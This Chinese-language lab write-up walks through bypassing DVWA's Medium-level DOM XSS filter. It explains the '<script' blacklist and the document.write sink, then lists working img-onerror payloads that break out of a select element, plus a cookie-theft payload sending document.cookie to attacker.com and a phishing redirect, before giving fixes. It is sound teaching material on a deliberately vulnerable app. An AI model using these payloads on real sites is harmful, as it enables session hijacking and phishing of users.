DOM XSS漏洞详解DVWA Medium

文章目录

    • [一、Medium 级别防护分析](#一、Medium 级别防护分析)
      • [1.1 PHP 层防护代码](#1.1 PHP 层防护代码)
      • [1.2 防护机制](#1.2 防护机制)
      • [1.3 防护缺陷](#1.3 防护缺陷)
    • 二、客户端代码分析
    • 三、攻击过程
      • [3.1 失败尝试](#3.1 失败尝试)
        • [尝试 1:使用 `<script>` 标签(被拦截)](#尝试 1:使用 <script> 标签(被拦截))
        • [尝试 2:大小写混合 `<Script>`(被拦截)](#尝试 2:大小写混合 <Script>(被拦截))
        • [尝试 3:URL 编码的 `<img>` 标签(失败)](#尝试 3:URL 编码的 <img> 标签(失败))
        • [尝试 4:URL 编码的 `=` 符号(失败)](#尝试 4:URL 编码的 = 符号(失败))
      • [3.2 成功 Payload](#3.2 成功 Payload)
      • [3.3 Payload 分解](#3.3 Payload 分解)
    • [四、为什么这个 Payload 有效](#四、为什么这个 Payload 有效)
      • [4.1 绕过 PHP 层检测](#4.1 绕过 PHP 层检测)
      • [4.2 浏览器 HTML 解析流程](#4.2 浏览器 HTML 解析流程)
      • [4.3 关键技巧:`=` 不能 URL 编码](#4.3 关键技巧:= 不能 URL 编码)
    • [五、更多 Medium 级别 Payload](#五、更多 Medium 级别 Payload)
      • [5.1 使用 `<svg>` 标签](#5.1 使用 <svg> 标签)
      • [5.2 使用 `<body>` 标签](#5.2 使用 <body> 标签)
      • [5.3 窃取 Cookie](#5.3 窃取 Cookie)
      • [5.4 重定向攻击](#5.4 重定向攻击)
    • [六、Low vs Medium 对比](#六、Low vs Medium 对比)
    • 七、漏洞修复建议
      • [7.1 白名单验证(推荐)](#7.1 白名单验证(推荐))
      • [7.2 HTML 编码输出](#7.2 HTML 编码输出)
      • [7.3 客户端修复](#7.3 客户端修复)
    • 八、总结
      • [8.1 Medium 级别防护的缺陷](#8.1 Medium 级别防护的缺陷)
      • [8.2 攻击要点](#8.2 攻击要点)
      • [8.3 安全启示](#8.3 安全启示)

一、Medium 级别防护分析

1.1 PHP 层防护代码

php 复制代码
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null( $_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

1.2 防护机制

防护点 说明
检测目标 <script 字符串
检测方式 stripos() --- 不区分大小写
防护措施 重定向到 ?default=English 并退出

1.3 防护缺陷

  1. 只过滤 <script 标签 ,没有过滤其他可执行 XSS 的标签(如 <img>, <svg>, <body> 等)
  2. 客户端 JavaScript 代码未修改 ,仍然使用 document.write 直接写入用户输入
  3. 黑名单方式,只阻止已知危险标签,而非白名单验证

二、客户端代码分析

Medium 级别的客户端 JavaScript 代码与 Low 级别完全相同

javascript 复制代码
if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
}
    
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

关键问题

  • lang 变量直接从 URL 提取,未经任何过滤
  • document.write() 直接将 lang 写入 HTML
  • decodeURI(lang) 用于 option 的 text 内容

三、攻击过程

3.1 失败尝试

尝试 1:使用 <script> 标签(被拦截)
复制代码
?default=English</script><script>alert('XSS')</script>

结果 : 被 PHP 层 stripos($default, "<script") 检测到,重定向到 ?default=English

尝试 2:大小写混合 <Script>(被拦截)
复制代码
?default=English</Script><Script>alert('XSS')</Script>

结果 : stripos() 不区分大小写,仍然被拦截

尝试 3:URL 编码的 <img> 标签(失败)
复制代码
?default=%3Cimg%20src%3Dx%20onerror%3Dalert('XSS')%3E

结果 : <img> 被写入 <option>value 属性中,不会被解析为 HTML 元素

尝试 4:URL 编码的 = 符号(失败)
复制代码
?default=English</option></select><svg%20onload%3Dalert('XSS')%3E

结果 : onload%3Dalert(...) 被浏览器当作属性名,而不是 onload 事件处理器

3.2 成功 Payload

复制代码
http://192.168.0.107/DVWA/vulnerabilities/xss_d/?default=English</option></select><img src=x onerror=alert('XSS_Medium')>

URL 编码后 (注意 = 不要编码):

复制代码
http://192.168.0.107/DVWA/vulnerabilities/xss_d/?default=English%3C/option%3E%3C/select%3E%3Cimg%20src=x%20onerror=alert(%27XSS_Medium%27)%3E

3.3 Payload 分解

部分 作用 是否编码
English 正常文本,通过 <script 检测
%3C/option%3E 闭合 <option> 标签
%3C/select%3E 闭合 <select> 标签,跳出 select 上下文
%3Cimg%20src=x 注入图片标签,src=x 不存在
onerror=alert('XSS_Medium') 事件处理器,= 不能编码 部分
%3E 闭合 <img> 标签

四、为什么这个 Payload 有效

4.1 绕过 PHP 层检测

  • Payload 中不包含 <script 字符串
  • 使用 <img> 标签和 onerror 事件,不在 PHP 黑名单中

4.2 浏览器 HTML 解析流程

复制代码
document.write 执行:
<option value='English%3C/option%3E%3C/select%3E%3Cimg...'>
  English</option></select><img src=x onerror=alert('XSS_Medium')>
</option>

浏览器解析:

  1. <option value='...'> --- value 属性包含 URL 编码的内容
  2. English --- option 的 text 内容开始
  3. </option> --- 闭合 option 标签
  4. </select> --- 闭合 select 标签,跳出 select 上下文
  5. <img src=x onerror=alert('XSS_Medium')> --- 在 select 外部渲染,src=x 不存在触发 onerror

4.3 关键技巧:= 不能 URL 编码

写法 浏览器解析 结果
onerror%3Dalert('XSS') 属性名 = onerror%3Dalert('XSS'),值为空 不执行
onerror=alert('XSS') 属性名 = onerror,值 = alert('XSS') 执行

原因 : decodeURI() 会解码 %3C<,但不会改变 = 的行为。如果 = 被编码为 %3D,浏览器在解析 HTML 属性时会将整个字符串当作属性名。


五、更多 Medium 级别 Payload

5.1 使用 <svg> 标签

复制代码
?default=English</option></select><svg onload=alert('XSS_Medium')>

注意 : onload 事件在元素已经插入 DOM 后不会触发,所以这个方法可能不工作。推荐使用 onerror

5.2 使用 <body> 标签

复制代码
?default=English</option></select><body onload=alert('XSS_Medium')>

注意 : 同上,onload 事件不会触发。

复制代码
?default=English</option></select><img src=x onerror=window.location='http://attacker.com/?c='+document.cookie>

5.4 重定向攻击

复制代码
?default=English</option></select><img src=x onerror=window.location='http://phishing.com'>

六、Low vs Medium 对比

特性 Low Medium
PHP 层防护 检测 <script 标签
客户端代码 未修改 未修改
攻击难度 简单 中等
Payload 类型 <script> 标签 HTML 事件处理器
关键技巧 = 不能 URL 编码

七、漏洞修复建议

7.1 白名单验证(推荐)

php 复制代码
$allowed = ['English', 'French', 'Spanish', 'German'];
if (in_array($_GET['default'], $allowed)) {
    $default = $_GET['default'];
} else {
    $default = 'English';
}

7.2 HTML 编码输出

php 复制代码
$default = htmlspecialchars($_GET['default'], ENT_QUOTES, 'UTF-8');

7.3 客户端修复

javascript 复制代码
// 使用白名单
const allowed = ['English', 'French', 'Spanish', 'German'];
if (allowed.includes(lang)) {
    const option = document.createElement('option');
    option.value = lang;
    option.textContent = lang;
    select.appendChild(option);
}

八、总结

8.1 Medium 级别防护的缺陷

  1. 黑名单不完整 --- 只过滤 <script,忽略了其他 XSS 向量
  2. 只防护 PHP 层 --- 客户端代码未修改,漏洞仍然存在
  3. 没有输出编码 --- 用户输入直接写入 HTML

8.2 攻击要点

要点 说明
避免 <script 使用 HTML 事件处理器替代
跳出 select 上下文 使用 </option></select> 闭合标签
= 不要编码 确保浏览器正确解析事件处理器
使用 onerror onload 更可靠,因为 onload 在元素已插入 DOM 后不会触发

8.3 安全启示

  • 黑名单永远不够 --- 攻击者总能找到新的绕过方法
  • 纵深防御 --- PHP 层和客户端都需要防护
  • 白名单优于黑名单 --- 只允许已知安全的输入
  • 输出编码 --- 所有用户输入都必须编码后输出